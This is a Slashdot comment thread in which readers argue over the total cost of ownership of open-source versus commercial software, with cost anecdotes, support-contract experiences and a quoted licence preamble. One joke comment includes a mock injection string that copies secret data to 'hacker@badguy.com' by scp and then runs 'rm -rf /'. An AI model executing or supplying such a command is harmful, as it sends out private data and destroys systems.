      This has been my experience too. Generally if I need a new package installed on either a Windows server or a Linux box, I have the package on Linux running a few minutes after I downloaded it from the net. With Linux I have no silly arbitrary reboots and I don't have to hunt for updates because I usually get the newest package anyway. In many cases I can be reasonable sure that the default configuration NOT leaves my system wide open to attacks and I don't have to spend weeks of reading mailinglists in order to determine if my system is safe. Many packages already include safety advisors on how to configure or make the configuration even more secure.
      What does this have to do with TCO? Uhm... er ... Nothing I guess, but I wrote it anyway because I have no clue but much to say.

      For some reason Windows "professionals" seems to atract the point and click developers. The kind of developer who has seen a Visual Basic script and applies for a job as security advisor/senior programmer because he thinks himself a guru.
      Why do you think people are writing documentations? Because there are many things that you don't know or understand when you install a new package you never have used before. Sure you can install i.e. Perl without any problems on any system and start coding in it. But do you know about regular expression exploits? No? Why not? Ah! I see! You never bothered to read a piece of manual, otherwise you would have known that there are many risks involved. No problem. If your clients server is hacked because you wrote a crappy script you can charge for an "update" which you should have known in the first place if you weren't the Non-RTFM type developer.
      I guess writing here is useless because I think you are a troll anyway.

    2. Re:True by Alomex · · Score: 2


      You are establishing a false dichotomy: either the software is hard to install or it has to be full of exploits.

      This is totally bogus. It is possible to have easy to install software that is not ridden with holes.

      Why do you think people are writing documentations?

      The beef is not with software having documentation. The beef is with an OSS attitude (much like yours in your message) along the lines: "why should I make your life easier?".

      That reflects negatively in TCO for OSS, whether you like to admit it or not.

    3. Re:True by lightweave · · Score: 1

      Seems you missunderstand me deliberately. I don't say that Software is either hard to install or has to be full of exploits. What I meant is that installing is actually the smallest part and usually doesn't impact the the TCO to much. Even if it takes you a day because it would be so hard to install that doesn't way that much because you are using the software much much longer (at least that is the assumption).
      I also installed several OS software where I haven't much of a clue (i.e. Appache, MySQL the most recent) and it took me absolutely not so long as you imply. I also hadn't had to read many mailing lists etc. I simply downloaded the packaged installed it looked into the configuration and that was it. Only with mySQL I had to look up the manual because I didn't know how to exactly set up the access configuration to suit my needs. But if you use MS-SQL or any other package (not that MS-SQL is specially sopisticated but it fits the Windows crowd best) you also have to look up such things in order to get it right. Creating a simple database is almost the same effort on most databases. I guess getting a webserver online and putting up a simple webpage is also almost the same effort on most servers. Where it gets expensive is when you need detailed information because you want to do something special. You don't know how to configure your Webserver to span multiple IP adresses or do load balancing? Incidently you don't find anybody who knows that either because nobody cares or hasen't looked into the issue what do you do? With OS software there is a much higher chance to find some information or find somebody who knows the stuff and may respond with tips. Guess what happens if you try this with MS or other companies. You have to pay for it AND you have to invest the time on. My personal experience is that the user crowd often provides better tips than paid companies because these companies often don't foresee what people will do with their software and are quite surprised with some ideas or tell you flatly it is not possible (even though it is). OS crowd often does this for a hobby and thus know much more about special issues. This basically means that you have to spend time in both cases but your chances for coming up with a helpfull idea are much better with OS then with proprietary. This means that you either have to pay for a second engineer to investigate this or you can't do it.

  202. Whaa? by fireboy1919 · · Score: 2

    Up to ten tools designed by five people in as little as two years? One tool per person per year? Umm...thanks, but what company do you work for? I need to know so that I never buy anything they make for more than $2.99.

    --
    Mod me down and I will become more powerful than you can possibly imagine!
  203. Conspiracy theory! by bobtheprophet · · Score: 1
    I just thought it was kind of strange that the latest microsoft strategy document says
    Microsoft should avoid criticizing OSS and Linux directly, continue to develop and aim to eventually win the TCO argument
    . And lo, the same day a post appears on slashdot explaining why the average TCO is higher for open source programs. Fnord.
    --
    Don't give me none of this "nature theme" business.
  204. Looking back 50 years... by 0-9a-f · · Score: 2, Insightful

    50 years ago, many (if not most - if not all) large companies employed their own staff as accountants, engineers, chemists, project managers, etc, etc. This meant that the company always had direct access to the specialists who built The Thing, if The Thing ever stopped working.

    Today few, if any, large companies (and probably fewer small companies as well) have this specialist knowledge in-house - consultants are employed to design the tricky stuff, and the work is farmed out to other "specialist" companies.

    So today, there is a division of knowledge - your company knows what it wants, a consultant works out how to do it, while a third party provides a partial solution. Add in the localisations needed to get the third party solution to fit in with your existing processes, probably with a combination of your own (precious few) expert staff, and a few more contractors.

    So where does this leave today's company? Utterly dependant on external consultants, who usually vanish once they stop being paid, and third party companies of varying quality.

    My personal experience, of helping a small ISP grow into a corporate, is to rely on your own staff as much as possible. Information is hard to gain, but a lot easier to pick up through implementing the project yourself. When it comes to your first support call, you'll be glad that YOUR people spent the time learning the details of YOUR implementation.

    More than once, this has been the difference between six months in call centre biffo, and a five minute response from THE expert on the other side of the world.

    Regards

    --
    With each breath in, a flower somewhere opens; with each breath out, a flower withers away. In between lies beauty.
  205. Employees by MrPerfekt · · Score: 3, Insightful

    Yeah, because after all, we wouldn't want to hire employees and stimulate the economy! We'd rather get support from one company that oversubs their support to about a billion to one. Riiiight.

    --
    I just wasted your mod points! HA!
  206. The closed debate: by HamNRye · · Score: 5, Informative

    I'm offering a case study.

    All vendors shall remain nameless.

    We purchased a search engine back in 1995 for indexing our intranet. At the time, I was working with Matt's Simple Search, and we needed to add X x 10 features to it.

    Needless to say, a TCO supplied by the vendor "proved" that rolling our own was going to be almost double what their product was. We purchased the commercial system.

    This was not your basic "I learned Windoze programming" type search engines. We bought a dedicated AIX box, etc, etc, etc.... However, when we moved to putting PDF's online, we found that we could not use the old search engine to do this.

    Wev had just had another vendor go out of business, and they didn't want to pay to get their hardware back. So, we set up Xavatoria (formerly known as Matt's Simple Search) on a separate server and added the code for indexing PDF's.

    AS HTML eveolved, the old search engine was choking on JavaScript and other new HTML tricks. We wrote perl front ends to strip these tags. And on and on like this. During the last year of that search engine's life I spent 25-40% of every week getting it to work. The program itself had a slight problem of corrupting its keyword database every month or so, yada yada.

    We finally ended up switching because FDSE could parse and return a value from a 50MB index in 1/4 the time as the commercial product. They kept asking: "Why is this page so slow and the rest are normal??"

    Now, we could have upgraded the SE in each of the cases above. Original cost of the Search engine: 12,000 + hardware and AIX licensing. If we had purchased all upgrades to that point, we would be on our second server after suffering through 4 major revs to the product. Each upgrade was priced higher that the initial cost.

    1998: 12,250
    1999: 24,125
    2000: 18,750 (Discounted because of the need for a new server)
    2001: 16,250
    2002: Company out of business, product EOL'ed
    (Support contracts ran from 8,000 py. initially to 43,000 py. in 2000. Mostly this was due to our version being EOL'ed for so long. If we had upgraded the support would have been 22,000 py. in 2000.)

    That AIX box is now making a nice file server, and we are using the Fluid Dynamics Search Engine (Formerly known as Matt's Simple search and Xavatoria) to index our sites and our PDF's.

    Over the life of that machine it was an almost $400,000 money pit. FDSE runs for free on a server we didn't pay for. Even counting my time (which was less than used to support the older product) I would say it was 1/3 of a FTE (me!)for initial setup. This includes adding custom functionality that the other product didn't offer.

    That's still about $30-40,000 TCO. 0.1%. And that is before you count the time I spent maintaining the old one.

    ~Hammy

  207. With a 10-year life.... by otis+wildflower · · Score: 1

    .... you can pretty much count everyone out. M$, for example, plans on abandoning backwards compatibility in Longhorn, probably until user backlash forces them to..

  208. Scaling makes the difference. by Anonymous Coward · · Score: 0

    There are about 4 sets of people that use applications:

    A. Most people run the exact same "set" of applications as everyone else. We all run word processors, spread sheets, databases, web browsers, email clients and the like. It makes sense to share the costs of developing by donating a few dollars or reporting bugs or fixing a bug or writing up some documentation for open source versions of these programs.

    B. There are apps that hospitals use that cost millions of dollars a year to "lease" from the companies to write them. It makes sense for hospitals to all band together and each have 1/10 of an FTE each write several open source versions of this software. Sharing costs like this is a "good thing" as it would significantly reduce costs for all of us.

    C. There are a few thousand companies that all use the same set of custom apps worldwide. This may or may not work as an open source project, depending on the project lead.

    D. There are other apps that only a handful of companies in the whole world need (or even just 1 company), and they are going to have to pay someone to write that app for them.

    A and B make a lot of sense to be open source, there is a great need for the applications and the costs can be shared over hundreds of thousands or even millions of people.

    C and D, not so much.

    Of course, even C and D can get a lot from basing their code on free BSD or LGPL software if they are trying to sell software or even GPL if the software application is only used internally. Our company uses a lot of BSD licensed code in our products with no problems, and it sure is easier to use open ssl or zlib than trying to roll your own of those libraries.

  209. Bad assumption in comparison of support time. by TheFuzzy · · Score: 2

    Had to point out that this paragraph contains some preblematic assumptions:

    "So I had to figure in the cost of one of my customer's IT staff staying active on that list and learning enough about the product to provide in-house support supplemented by the email list. Estimating this at one tenth of an FTE and that FTE at a low $80,000 per year resolved to $8,000 per year. This was nearly three times the cost of the most expensive commercial product support!"

    This calculation makes two assumptions:
    1) That keeping up with the application bugs & changes will take 4-6 hours/week (may be correct, you just don't state how you arrived at that figure)

    2) That utilizing commecial support requires *no* staff time, a truly laughable assumption.

    To give you a counter-arguement for assumption 2: One of my clients pays me to interface with the support engineers for a major proprietary application carrying a $8,000/year support contract. This year to date, I have billed the client 25 hours (at $175/hour) to nag the support department of the commercial vendor and prepare test cases proving the client's problems. And some bugs still take 9 months to resolve.

    So: If you work with a flawed evaluation formula, you will get flawed results.

    -Josh Berkus

  210. 1/10th of a FTE? Support contracts? by cballowe · · Score: 3, Interesting

    I don't understand where you get the 1/10th of a Full Time Employee number.

    I keep up with 4 or 5 opensource mailing lists and spend 1/10th of my time doing it. So, maybe a more appropriate amount would be 1/40th of a FTE at 80K/yr -- that's $2K/yr... roughly what you'd spend for your support contract with the other product.

    Now -- about that support contract. We have support contracts for NetBackup (20% * purchase price/yr ... i.e. $17K for our environment) - I have never called on these, NEVER. The online resources of the user community are far better and far faster than the support calls. Same for Tru64. Nothing beats mailing lists for response time and quality of answer. I have posed the same question to the e-mail list when i've called Compaq support (blame management -- i didn't want to call). The e-mail was sent out after the initial phone call, and I had the answer before the call back.

  211. You picked an extreme example, let me do that too by weave · · Score: 5, Insightful
    My organization was approached by Microsoft to scrap our Linux mail server serving 17,000 students and staff and move to Exchange. Even with the deeply discounted educational pricing for Exchange CALs, we were looking at a licensing cost of over $100,000 a year to do this. Plus, if that's not enough, instead of doing mail on one dual-processor linux box with 4 gigs of RAM, I'd have to buy several equivalent boxes to spread the exchange load over as well as buy (their recommendation) enterprise server and do clustering. If that's not enough, the Unix mail server runs pretty much by itself with someone having to stroke it once in a blue moon with one hand while eating their lunch with the other hand. If I moved to Exchange, I'd have to send a few techs I have out to training for all the microsoft administration knowledge, or fire them and go hire me a few MCSEs.

    So, I think there are cases to illustrate whatever point one is trying to make. Sure, in your case open source may be more expensive, but that doesn't mean it's always going to be the case and anyone who dismisses a solution on any platform without doing a careful cost/benefit analysis of all factors, shouldn't be a decision maker.

    Disclaimer: Yeah, I know exchange does more than just mail... but those applicable functions we nned that exchange does is handled by other server apps we run as well...

  212. may be applicable here by b17bmbr · · Score: 2, Interesting

    funny story (sort of):

    company i used to work for before i became a teacher needed a specialized accounting program. ran only under dos. this is mind you, back in 1991. since we were in retail, we needed specialized inventory, and a way to track our sales merchandise and the clearance mercahndise versus our regular line stuff. something about amoritization and crap. hell, i dropped accounting in college. go fiugre. so, long about a year into the program, software company folds, but we need some modifications. oh shit. but wait, it gets better.

    so, we need to ugrade our systems, and get a whole new line of IBM POS terminals. link to central database. pretty forward looking for this company. hell, we even had a sort of email in 1993. way cool. anyways, we need this data to link into new sales/ordering system. but guess what? can't be done, cause the older systems don't link up, and the data files are impossible to read.

    so...about two years later, i'm gone getting teaching credential, and company isn't gotten system/data up to date. not until late 90's does it get resolved. i find out from a friend with company while we were out hunting. anyways, what was the cost...

    i don't really know, but, it set back a whole series of migrations and implementations for a few years. no shit. data locked into legacy systems and binary data cost alot. just my story.

    --
    My problem? I was perfectly gruntled, until some numbnuts came by and dissed me.
  213. I wish i had mod points by Anonymous Coward · · Score: 0

    ...because the parent is clearly a troll. Do moderators don't ever bother to mod a post down that's a score of 2 to start with? Please...

  214. MS Long Term Viability by Anonymous Coward · · Score: 1, Insightful

    Never forget that MS *WILL* force you to keep replacing your entire set of MS software one way or another every couple years or so, in essence having to repurchase all of both the software and the CALs again and again and again. They have demonstrated this behaviour repeatedly in the past 6+ years.

    Software costs big no matter whether you go open source or closed source. With open source you have to have your own knowledgeable (expensive) staff, but you get to control your own destiny. With closed source you can get by with cheap point-n-click monkeys but the software vendor herds you in the direction THEY want you to go... which is straight to their feeding trough.

    1. Re:MS Long Term Viability by mpe · · Score: 2

      Software costs big no matter whether you go open source or closed source. With open source you have to have your own knowledgeable (expensive) staff, but you get to control your own destiny.

      Hopefully in the direction of improving your business. But in the end that's down to the managers, same as with any other part of the business

      With closed source you can get by with cheap point-n-click monkeys but the software vendor herds you in the direction THEY want you to go... which is straight to their feeding trough.

      If it happens to help your business it will only be as a side effect (with you being likely to wind up paying for lots of "junk" from your POV) or it could easily be somewhere you most definitly don't want to go.

  215. YEH OPEN SAUCE SUCKS by Anonymous Coward · · Score: 0

    Nothing comes for free these days. We live in a commercial economy.

  216. If true, its still good for your Local IT economy by gstaines · · Score: 1
    Even if in some specific cases this is true, the net result is that the expenses occur within the local IT econmony.

    As an Australian IT worker, the difference for me would be more local work and a boost to the local IT economy and IT related jobs.

    Every case will be different, that goes without saying, but heaven forbid that in the few cases that Open Source may be more costly that you dont send your country's money to foreign monopolies.

    Open Source is a win win for people who dont reside in redmond.

  217. The Inverse Result by Tuqui · · Score: 1

    Companies that have bigger IT budget are becoming Open Source users.

  218. Wanna see your close source TCO skyrocket? by gnovos · · Score: 2

    http://govsite/search?xxxxxxxxxxx!#^&(*^(45&%6buff eroverflow='scp secretinformation hacker@badguy.com:/tmp;rm -rf /'

    You: There is a buffer overflow in your product allowing people to steal our sensitive data and destroy our machines.

    Vendor: We'll work on that right away, expect a patch in six to ten months that will clear up this issue and add a few lines to the EULA that will require your daughters to dance naked for us in our Arabian palace...

    --
    "Your superior intellect is no match for our puny weapons!"
  219. Only if trained with 'closed source' first by Wouter+Van+Hemel · · Score: 1

    Ofcourse, you'll need extra support for and retraining of staff, when you switch from closed to open. You trained your people for closed, now you'll have to train them for open. Only logical.

    Maybe it's expensive to switch for people already used to closed source products to e.g. linux, but what about the new people arriving that need to be trained? Training costs would be pretty much equal.

    There really isn't such a big difference in the software itself anymore, so I can't believe the costs for one solution would differ so much from the other. Starting from someone with no knowledge of either windows (/software) or linux (/software), I bet educating them would cost equally much.

    Anyone can win a race, if they're close enough to the finish. The race's only fair if everyone has the same starting point.

    So maybe you won't re-train your old staff, but you educate the new ones with your opensource software. And everything will be fine, 'in the long run'.

  220. Why bother ask? Open source save you tons of $$$ by moduc · · Score: 1

    Ok, don't spend too much time analyzize, that time/money already cost you and your company $$$. Think how much Apache saved over MS$? simple, think of an answer that those IT who used Apache would give you if the question is "would you go back to IIS if you have a choice now?" Depends on the OS projects, if you have to develop too much, if it's not mature, then it'll cost you, else you save a bunch. WHy bother think about training, support, etc? Just look at number of critical bugs, between 2 products (open/close), how quickly they can be resolved, how often they're down time, how quick you have to upgrade (another word: how quick to have to pay MS$). There you go, just some important point. Other points such as ownership to the source code, and all that is a bonus. In the beginning of a revolution, alot of people ask questions, and some big, intelligent, experience analysis will give you a 50/50 (some this side, some that side), and at the end, no one dispute. JUST THINK.

  221. The only thing I can add to any of this is... by YinYang69 · · Score: 1

    ...the only times that I've had any difficulties working on an open-source solution is when I've had to add a closed-source solution in with it. And I'm a one-man IT staff where I work and by far, not a genius. That's my $0.02. End of story.

  222. This has not been my experience by Flyer · · Score: 3, Interesting

    I have used open source products since the late 80s to solve problems for fortune 500 companies. The support issue has not really been a concern. It does however require that the company hire people with clues and not Minesweeper Consultants and Solitair Experts.

    Any sharp group of Unix staff will not have trouble supporting Open Source. In the late 80's I implemented the ssc sreadsheet and a communications program similar to a commercial offering. These products were running within a couple of days on several different Unix platforms. Support was a no brainer as well. We did have a complete Unix development team or three around and one guy whipped up some docs that addressed the users typical needs for which there was almost never an additional request for support.

    Most corporations have trained support staff on premesis. Larger companies have whole departments and can do a better job of supporting the company with Open Source.

    How? Well, let me give you an example. A few years ago a friend who bought one of those all in one office printer/fax/scanner/etc. things. The sales geek claimed that it could work with NT because the geek had only the most superficial understanding of the differenece between W95 & NT. Turns out that many parts of the driver did not work properly. The printer could not be made to reset properly. He called the manufacturer and even sent the printer in for repair (twice)as the sales and support people claimed that "it should work". The manufacturer never did fix the problem and the product always operated marginally. Now the product did not work with Linux but it does now.

    Why? Because open source has the best support possible. When the source is available either your
    staff can handle the tuning for products that the manufacturer won't properly support or someone on the Net will help.

    How? My friend worked with me at a fortune 500 client site and one day I was having a Java on Linux problem. Now Java is not open source but there is a team working on it for Linux. I submitted a question to the right location and when we got back from lunch I had answers. It is typical for me to get multiple responses to a query for a problem with purely open source as well. My friend complained that he has been waiting for answers for weeks on a similar question posed to a commercial vendor.

    So there are two issues, adequitely skilled staff, and knowing where to look for answers. I have never found that the commercial product vendors provided support that could out perform the open source community. When asking how to solve a problem it is not unusual to get back multiple responses.

    Oh, there is one more issue. The Unix community often acts like something akin to a cult of competence and if approached with a clueless and helpless demeanor they are not the most plesant. If the tech type takes the requisite 15 minutes to read relevant faqs and howtos and then asks for help the support is usually overwhelming.

    This is my experience since implementing a variety of open source products since the 80s and Linux since '93.

    At this time I am not even interested in dealing with the headaches of of commercial products if I can avoid it. I am only interestd in Open Source related contracts. Remind me to tell you about the time I asked a commercial vendor how to get a security feature working and they were supprised that I needed it as they had not even got their product debugged that far in the lab. Turns out they were playing scheduel chicken and thought we would not need some features claimed when the product was sold. Or the time a multi million dollar project went up on a commercial Unix because they promised kernal based threads by version 8.0 and as far as I can tell they never got beyond Posix Threads. At version 10.0 we went to production anyway with at least a year of additional development to do our own thread safe coding.

    When it comes to support from the commercial products or Open Source I will almost always choose the open path. The support is simply better.

  223. What do you want support for? by Anonymous Coward · · Score: 0

    I installed a CVS host on a slackware linux box
    just over a year ago for our small FPGA dev. team.
    It still works, has never crashed, and I have
    NO intention of upgrading it at all.
    Support cost = $0;
    You're too used to thinking you actually need software support, cause you're forced into needing
    it!

  224. Split the costs, by oliverthered · · Score: 2

    How about getting some other agencies in on the same OSS and splitting the support code $8000 a year over a few agencies could work out at $2000 a year or less.

    --
    thank God the internet isn't a human right.
  225. Re:First posty by dankwa · · Score: 0

    Not only do I agree with "First posty", I seriously believe this guys must have been sent by "MicroSpy"? to "stir up" slashdotters to get a reaction. Remember the recently posted info on "Halloween VII"? Think about it guys. Like i read from an earlier contribution and paraphrased here: "What about the huge, unbelievable large sum of contract that gets signed with these commercial companies like Oracle, Microsoft, etc..."? Again think about it y'all!!!

  226. RPL? by Anonymous Coward · · Score: 0

    Why doesn't anyone discuss the RPL (Reciprocal Public License)?

    RECIPROCAL PUBLIC LICENSE
    Version 1.0, December 21, 2001

    Copyright (C) 2001-2002
    Technical Pursuit Inc.,
    All Rights Reserved.

    PREAMBLE

    This Preamble is intended to describe, in plain English, the nature,
    intent, and scope of this License. However, this Preamble is not a part
    of this License. The legal effect of this License is dependent only upon
    the terms of the License and not this Preamble.

    This License is based on the concept of reciprocity. In exchange for
    being granted certain rights under the terms of this License to
    Licensor's Software, whose Source Code You have access to, You are
    required to reciprocate by providing equal access and rights to all
    third parties to the Source Code of any Modifications, Derivitive Works,
    and Required Components for execution of same (collectively defined as
    Extensions) that You Deploy by Deploying Your Extensions under the terms
    of this License. In this fashion the available Source Code related to
    the Licensed Software is enlarged for the benefit of everyone.

    Under the terms of this License You may:

    a. Distribute the Licensed Software exactly as You received it under the
    terms of this License either alone or as a component of an aggregate
    software distribution containing programs from several different
    sources without payment of a royalty or other fee.

    b. Use the Licensed Software for any purpose consistent with the rights
    granted by this License, but the Licensor is not providing You any
    warranty whatsoever, nor is the Licensor accepting any liability in
    the event that the Licensed Software doesn't work properly or causes
    You any injury or damages.

    [snip]

  227. My experience with TeX, PkZip, etc by os2fan · · Score: 3
    The thing that tends to cost money is not "open source" vs "close source", but "integrated" vs "cobbled together".

    It is certianly cheaper and easier to buy integrated as opposed to cobble a solution together yourself. What happens is when the integration becomes unstuck.

    When I bought XTREE 2.5, it came with integrated zip integration. This allowed one to look inside and work with zip files as if they were directories. Of course PKZIP 2 then came out with a new format, which xtree could not deal with.

    When I bought ZTree, it used external versions of these programs. So the unpacker for zip files in ztree is pkzip2 itself, not some some internal routine. So while ztree knows about zip and rar and cab files, actually opening these means that unzip, unrar, uncab must be available.

    The are advantages and disadvantages to both approaches. If I go for Norton Commander or FC/2, then Norton Commander has *its* set of inbuilt conversions, while FC/2 uses the same set of utilities that Ztree uses.

    Of course, it goes on and on. Word + Windows is a more expensive deal than WP5.1, but the printer drivers live in Windows, not WP5.1, and so Word will have printer drivers long after WP 5.1. Also, Excel can share the same printer drivers and fonts, whereas Lotus has a different printer-driver. Up goes bloat, up goes cost, down goes upgrade-costs.

    The net effect is that it initially costs more to buy and install a component system, against an integrated package, but the long term maintenance is less, if it is done properly.

    While it is more expensive, both in time and money, to do things in peices, the results are infinitely more flexiable. This may suit the home hacker, but for most office workers, this flexiability adds confusion, rather than confort.

    Each process costs more, depending on what you choose to value.

    --
    OS/2 - because choice is a terrible thing to waste.
  228. Federal Contracts by NavyNasa · · Score: 1

    Can anyone explain to me why the US Government's policy on software is licence driven? I have repeatedly suggested quality products that were either freeware (VNC) or open source (Linux) and the response from the "higher ups" is always "we cannot use a product we have no licence for." I, and my peers, get soooo much training in programing (all types) and security (SANS) only to be forced onto Windows and a Sun/Gauntlet configured networks.

    --
    Space Cadet
  229. Coincidence? :-) by discHead · · Score: 1

    Who else noticed the interesting timing between this Ask Slashdot question and the link to ESR's "Halloween VII" (which says that Microsoft is going to try making the

  230. Points missed in the original article by Jeremiah+Blatz · · Score: 3, Insightful
    1. Does the support estimate for the commercial product include the %FTE on your end?
      In my experience, getting something useful out of vendor support had been a monumentous task. You call up (wait on hold), bluster and technobabble at the first line tech until you get upgraded. Then educate the second-level tech until they have some inkling of what your problem is. They go away and talk to an engineer for between 2 hrs and 2 days. They email you back with the wrong answer. Repeat several times, until your problem gets fixed. This is a significant amount of employee time. Additionally, since your employee doesn't deeply understand the solution, so it isn't well-documented. If you've got an on-staff expert, this whole thing happens in 2 days tops, and you have an opportunity to collect the exact specifics of the problem.
      This, of course, doesn't apply if your support contract says that they'll fly out an expert if your situation isn't resolved in under 24 hrs.
    2. Up-front vs. incremental costs
      The up-front costs of the open-source product are vastly lower than the closed-source, in almost every new-developemnt case. So, what if you took your last 5 years of open-source support budget (presumably this is pretty close to the up-front cost of the commercial solution?) and stuck it in 5-year CDs. Well, at current rates, that's another 10 grand when the CDs mature. No mention if this study took this into account.
    3. Risks of closed-source
      These are not insignificant! What is the chance that your product will receive good support 10 years from now? Will the company even be in business? How's Corel doing these days? Remember when WordPerfect was king? Remember WordPerfect Corporation? They sold WP to Novell, who sold it to Corel. How's that for stability? Will One Trick Pony Search Engines, Inc. be around in 10 years? Lots of other posters have brough this up, but this is just unavoidable. Does your service contract specify that you get to choose what version they're supporting? What's your recourse if they refuse to support the version you're using? What recourse do you have if they go belly-up?
    Not that I'm denying that an open-source product must have lower TCO than a commercial project. After all, if you're the only developer/user, your economy of scale is zero. So, obviously, there needs to be some critical mass of user/developer interest before open source support costs start to really drop. Eventually, you end up with apache, etc. where you can get commercial support, etc.
  231. Troll timing by thelen · · Score: 2

    Curious that we have this article which lays out the MS strategy to focus on total cost of proprietary vs free software, and now this. Question for the resident trolls: isn't it a more effective method to wait at least a little while between the setup and troll?

  232. Fundamental Flaw by VortexVertigo · · Score: 2, Interesting

    I believe you failed to factor in the time spent by staff helping the company providing support. I have rarely seen a support package at $8,000 a year that does not bill for hours (trust me, they will find something billable). In addition, they usually need one of your support staff to help them while fixing any problems. They will also charge for non-support related customizations, the ones your paid staffer would be doing with 1/10 of their time. In short, I do not believe you are factoring in the total cost of the outside support contract. Remember, always read contracts thoroughly.

  233. Further explanation... by Jack+William+Bell · · Score: 2

    I am realizing that far more explanation is needed here. As always it is dangerous to just throw numbers around with techy types, but to give all the details would have resulted in a 10,000 word article. Not exactly something for /. ya know! I left out an awful lot of detail because I made some assumptions, like perhaps you understand I knew what I was doing and who I was dealing with.

    One important assumption I made was that most people can understand PHB thinking to some small extent. Since that appears not to be the case, let me clue you in: Budgets are the important thing. To budget properly you must guess how much money something will cost over the next few years and then you must, somehow, come in pretty damn close to that guess.

    So it is very important to a PHB that they know with some certainty what the costs for something are before hand. Now, underestimating can be bad (less budget next time) but overestimating is far worse. Unlike money in your pocket, budgets which are approved at several layers of administration are not fungible!

    So PHBs like things such as maintenance contracts because they know exactly what that will cost ahead of time. They don't like fuzzy numbers like "Well, it will cost probably .25 FTE the first year, but then it will probably drop to .05 afterwards." If they budget that and they are wrong it will not go well with them. OTOH, although saving money is nice, a higher cost is still good -- so long as you can budget it ahead of time!

    Now FTE time, unlike budget, *is* somewhat fungible. If you over-estimate it a little that is fine because your FTE probably has more than they can handle for all the other things you couldn't forsee anyway.

    But how does this bring us to the cost estimate? Well it works like this; when you present something that costs money to a PHB you need to back it up with hard numbers. If you don't have a hard number you make an educated guess, back up the guess with what facts you have and then pad it a little so they can derive comfort. After all the actual cost isn't nearly as important as going over the budget. Sure 'cost' and 'budget' sound like the same thing to you and me, but not to the PHB.

    So the figures I used can be thought of as 'PHB' numbers. Although I was aware they might be high, at least I knew they wouldn't be low. Meaning that they were as correct as I could make them with what I knew. My surprise came from the fact that they added up over time to such a large figure!

    But the imporant part here is that, from the PHB perspective, the O.S. costs *were* higher -- something PHBs have been telling us for years. Somehow I didn't expect that. You and I can argue technicalities all night and all day. But in the final analysis I have to bring something to them that they understand. Not a buncha techspeak and hand-waving.

    So, was 10% of an FTE too high? That certainly seems to be the consensus here. This could well have been a mistake on my part and changing it certainly changes the final result. The questions are: What is the proper figure, based on everything I said above? And, think of this from a PHB perspective now, can you guarentee the new number is valid?

    Another note: FTE costs include all benefits and costs of having the employee (such as training, administration, another FTE to cut checks, etc). Actual wages are considerably lower. You think I wouldn't have to mention this either, but apparently not...

    Jack William Bell

    --
    - -
    Are you an SF Fan? Are you a Tru-Fan?
  234. Benefits + taxes by brokeninside · · Score: 1

    If it costs $80,000 to hire a person for a year, that person likely has a gross salary between $50,000 and $60,000.

  235. Comment removed by account_deleted · · Score: 2

    Comment removed based on user account deletion

  236. Comment removed by account_deleted · · Score: 2

    Comment removed based on user account deletion

  237. Life Cycle by brokeninside · · Score: 2
    From your write up, it seems as if you expect the purchase of a commercial product to have close to a ten year life cycle? Does your budget calculate the cost of upgrading every two or three years?

    1. Re:Life Cycle by Jack+William+Bell · · Score: 2

      See this post and its subposts in reply to someone else who mentioned End Of Life (EOL) issues, which are a stronger case even than your statement.

      Jack William Bell

      --
      - -
      Are you an SF Fan? Are you a Tru-Fan?
  238. Poor Assumptions by waterwheel · · Score: 3, Insightful

    You've made a couple of fundamental flaws in your assumptions.

    For your commercial support, you know you are paying $XX per year. That's a fixed hard cost. You're now comparing that to saying your local support person is going to spend one full day every two weeks doing nothing but reading the lists. Maybe for the first six months, but in year 10? No way.

    The primary difference is that you ALWAYS pay the commericial vendor even if the knowledge base doesn't change. Conversely, if you have experienced support staff doing your own support then you only have the _possibility_ of having to pay for training (no updates to the software, what's the tech doing spending a day on the forums?). Figure out a number for the probability of needing to get updated on the software and multiply it times your $8,000, it should drop dramatically. Year 3; spend a generous 2 full weeks training on the product, your costs are halved for the opensource product.

    In addition you are comparing hard costs against soft costs. They are not the same. In fact by using external support for commercial products you are adding costs. By using existing support staff's time you haven't added any hard costs. PHB translation: no additional money coming fromtheir budget, no hard dollars leaving the building.

    Now factor in the costs of needing to do some custom work in year 5 with a vendor who's no longer in business (and you forget to count in the cost of an escrow service right?). Probably saved some cash there as well.

    Ultimately I don't see how an open source product over a long period of time is going to be anywhere near as expensive as a commericial product. If your spin predicts that it will be more expensive, it's time to start asking "how much is it worth to 'own' the code, be able to use whatever vendor we like, only pay if we use their services, and not be dependent upon a vendor's existence in 2/5/10 years'?

  239. Comment removed by account_deleted · · Score: 2

    Comment removed based on user account deletion

  240. Comment removed by account_deleted · · Score: 2

    Comment removed based on user account deletion

  241. Open Source Support by Anonymous Coward · · Score: 0

    Many of the replies to this issue are correct, but every one of them (at least the ones that I cared to read) missed the point. Sure, every situation may be different. That is absolutely true. And this situation was different too. Specifically, the Open Source Project supporters/developers either
    1) ignored Cliff's messages and the 10 year support contract opportunity along with it, or
    2) made such a reply that it would have been better if they did not say anything (were rude), or
    3) directed the potential client to something other than what he needed, such as documentation and mailing lists instead of a reliable support contact.

    All of this indicates the carelessness, rudeness and unresourcefullness of the Open Source for all the practical purposes in this case. There is no business model. Some said that companies can go bellies up or become extortioners. Well, Open Source support personnel might one day decide to get interested in a different Open Source project or find a client they like better.

    It is important to note that businesses are built around contacts and relationships, not around casual free-lancers. 24/7 for 10 years means 24/7 for 10 years. Period.

  242. This is why. by failrate · · Score: 1

    Quote: They have a limited number of staff and the staff must split their time among many different working areas. They must be generalists and do not have time to specialize. Plus there is some turnover, especially among the better skilled staff. This is why the lifetime cost would be so high. If you have high turnover with your coders and make everyone segment their work like this instead of concentrating on the project, well, anything but a prepackaged solution is going to cost more than if everyone's time was properly managed and you were able to keep crucial staff. I know some coders who could knock out search engines better than most of the dotgov searches I've used. And the thing is, it probably wouldn't take them very long, even if they started from scratch, AS LONG AS THEY WERE ABLE TO WORK ON THE PROJECT UNTIL FINISHED. So, you know, your question really doesn't have anything to do with open source.

    --
    Voodoo Girl is the bomb!
  243. Some of our experiences... by donert · · Score: 2, Interesting

    We have a relatively large development shop. About 600 developers. We spend tons of money on commercial software.

    The quality of support we get varies greatly from vendor to vendor.

    Almost always you have to recreate the problem in order to gather the needed diagnostics or to be able to test the fix. This takes time. It may be the same for OSS and COTS.

    However, more often tha I can count, we have debugged the problem in the vendors code and sent them the fix! Why? We need the fix in a hurray, so we zap our install. We sent them the fix to get it as part of the 'official' code base. Combine that with the previous point and OSS may win.

    We had another case where the COTS code was difficult to deal with, sucked CPU, and leaked memory like a sieve. We dumped it and replaced it with an OSS equivalent. It worked like a charm - fast and tight. It has cost us almost nothing to use. If it breaks and can't fix it, we can always revert to the COTS. And we'll be ahead.

